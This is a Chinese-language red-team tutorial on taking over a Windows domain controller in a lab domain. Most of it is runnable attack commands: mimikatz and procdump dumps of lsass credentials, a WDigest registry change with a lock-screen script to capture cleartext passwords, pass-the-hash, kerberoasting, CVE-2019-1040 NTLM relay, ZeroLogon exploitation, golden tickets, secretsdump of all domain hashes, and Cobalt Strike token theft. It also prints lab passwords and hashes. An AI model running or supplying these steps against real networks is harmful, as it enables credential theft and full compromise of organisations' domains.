获取域控权限
高权限读取本地密码
当域管理员登录域成员主机时,会把明文密码保存在本地的lsass.exe进程
我们使用域控通过3389远程登录域成员机器,输入域控密码
通过mimikatz读取
在域普通股用户使用mimikatz
进入debug模式。读取,退出,导出到log.txt
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
可看到拿到了管理员的hash,我们可以在cmd5进行解密
通过建立ipc$连接访问域控
net use \\10.10.10.137\ipc$ "qweASD123" /user:redteam\administrator
建立后就可访问域控
也可再kali中使用wmic脚本通过hash利用
执行whoami
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 administrator@10.10.10.137 "whoami"
打开cmd
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 administrator@10.10.10.137
procdump+本地mimikatz读取lsass明文
如果mimikatz被杀软,我们使用此方法
使用procdump导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
拿到本地通过mimikatz读取
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
通过注册表+锁屏读取
通过添加注册表,再通过锁屏让管理员重新登录即可获取明文
添加注册表,设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell脚本进行锁屏
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
管理员重新登录
之后用mimikatz读取,可读取明文
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
可看到拿到了明文,之后可建立ipc$
SYSVOL组策略获取密码
在域环境中,有个默认的共享路径
\\<DOMAIN>\SYSVOL\<DOMAIN>\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。
sysvol是活动那个目录存储文件服务的共享文件夹,里面有登录脚本、组策略等。域内所有用户都可访问此共享文件夹,此文件加下,如果创建了组策略脚本登录,就会有groups.xml文件,此文件中密码经过AES-256加密,我们通过AES的私钥用powershell脚本来破解
针对SYSYVOL防御:
- 打补丁KB2962486
- 删除SYSVOL目录下的groups.xml
- 设置共享文件SYSVOL的权限
kerberoasting
SPN为服务主体名称,是服务实列(MySQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实例都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,有可能获取到域用户的密码了。如果服务是域管理员注册的,就可拿到域管密码。
原理
user访问server,向DC发起认证,请求先送达KDS中的AS进行身份认证,认证通过返回一个用user密码的hash进行加密的TGT给user,user拿着TGT访问TGS,认证通过返回一个用对应服务密码的hash进行加密的ST,user拿着ST访问对应服务。在TGS返回ST时,加密算法是RC4_HMAC_MD5,我们可进行穷举口令。
在域控修改加密方式
使用setspn查询spn
windows7和server2008默认自带
setspn.exe -q */*
setspn.exe -T redteam.club -q */*
CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users
我们发现了mysql这个服务
getuserspns.vbs脚本查询spn
cscript GetUserSPNs.vbs
powerview查询spn
Import-Module .\PowerView2.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
这里没查到
脚本穷举
请求指定的TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"
mimikatz导出票据
kerberos::list /exort
可看到导出了票据,我们这里用mysql的
把票据拿到kali,使用tgsrepcrack.py脚本破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python3 tgsrepcrack.py 字典 票据名
python3 tgsrepcrack.py passwd.txt 1-40a10000-test@mysql~12server4.redteam.club~3306-REDTEAM.CLUB.kirbi
拿到了注册这个服务的用户的密码
hashcat穷举
使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中提取出TGS
输出的TGS可选择John the Ripper或Hashcat进行破解。
导入脚本
Import-Module .\Invoke-Kerberoast.ps1
导出TGS
Invoke-Kerberoast -OutputFormat Hashcat
将hash导出到hash.txt
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation >hash.txt
使用hashcat对其进行穷举
hashcat -m 13100 hash.txt /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force
可看到密码是pass@123,穷举出来了
在found.txt中看到,密码是12server4的test用户,并非域控,如果此服务是域控注册,我们可通过此方法拿到域控密码
inface eth0 inet static
address 10.10.10.160
gateway 10.10.10.2
netmask 255.255.255.0
CVE-2019-1040
内网NTLM协议大杀器
创建机器主机账号
kali下impact-master中的脚本
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"
执行成功后,在域控ad下,创建了机器主机账户
中继
执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug
设置委派
域控有两台域控 10.10.10.142 主控 10.10.10.140备份域控 10.10.10.159 是中继机子(kali)
python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.159
设置之后中继监听到了数据
获取服务票据
python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator
可看到服务票据被保存下来了
修改变量值
export KRB5CCNAME=administrator.ccache
导出域控hash
导出域控hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
导出全部hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
这里如果失败需要设置
sudo vi /etc/resolv.conf
可看到导出了所有的hash
可用smbexec拿交互式shell
python3 smbexec.py -no-pass -k ad2.redteam.club
制作黄金票据拿域控权限
之前我们在导出的hash里面发现了krbtgt的hash,我们可用此来做黄金票据
利用mimikatz做黄金票据,以此来拿到域控权限
mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /ticket:ticket.kirbi" exit
导入黄金票据
导入之后我们可以访问到域控
利用psexec拿到交互式shell
需要开放445端口
PsExec64.exe \\ad1 -s cmd.exe
CVE-2020-1472-ZeroLogon
因为Netlogon使用的AES认证算法中的vi向量默认为0,导致可以绕过认证,同时由于其设置域控密码的远程接口也使用了这个函数,导致可以将域控中保存在AD中的管理员password设置为空
影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
使用zerologon脚本复现
检测是否存在漏洞
python3 zerologon_tester.py ad01 10.10.10.137
下载利用exp
git clone https://github.com/dirkjanm/CVE-2020-1472
置空DC的密码
python3 cve-2020-1472-exploit.py ad01 10.10.10.137
获取HASH
使用impacket-master包中的secretsdum.py获取相关HASH
python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass
拿到了域管hash、krbtgthash、刚才指控的机器账号ad01的空hash、域成员的hash
获取一个shell
拿到域管hash后,我们可以用wmic获取一个shell
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:96783bb69c00614e88f7d4688623c83a redteam.club/administrator@10.10.10.137
可以看到是域控下的管理员
获取原域控机器账号hash
在shell里执行
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
拿到文件后,获取原hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
利用脚本还原域控机器账号的原HASH
python3 reinstall_original_pw.py ad01 10.10.10.137 53f796dbbfdd48f8001a11dc782a0a348c2d5384a6d546a13439a37ba2a819fbe8e3d9e228a422c296820f5b74b88211e355bae3288e0ed12f9cf9f528b8c28aac64840d9282133b15d0c46f4546ea6190e81728e6abb6974aab815016ae9d135baa7b11691c8348651e92c3033e27b7598065dbaf81146dec8dfbe8af17e7ebb7c3460d5533f70ddf49a5a6265e7a0ac35cb7104f6d3bd45687255837016eaed71c5979654537811826018641455b24b73e4c674e7622489060a9d7415c5b290d984f0a0aabfff9e409a58447cbfc7f517624cd9e38f54b14c096fa5aba864dd203bb41c5e59480740e66a3a659ddf5
再次拿hash可发现hash已经恢复
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :96783bb69c00614e88f7d4688623c83a
MS-14-068
在内网渗透中的金票利用详细写过
cs获取域管权限
我们在拿到一个域普通用户的情况下,我们通过cs让他上线
在同网段下
进程迁移
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限
上线之后
进入进程列表
设置session的 sleep 0
在进程列票里发现了域管理员进程,我们就可以注入
注入之后进行会话交互就可以执行命令
shell whoami
窃取令牌
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
窃取令牌后,权限从当前管理员到了域管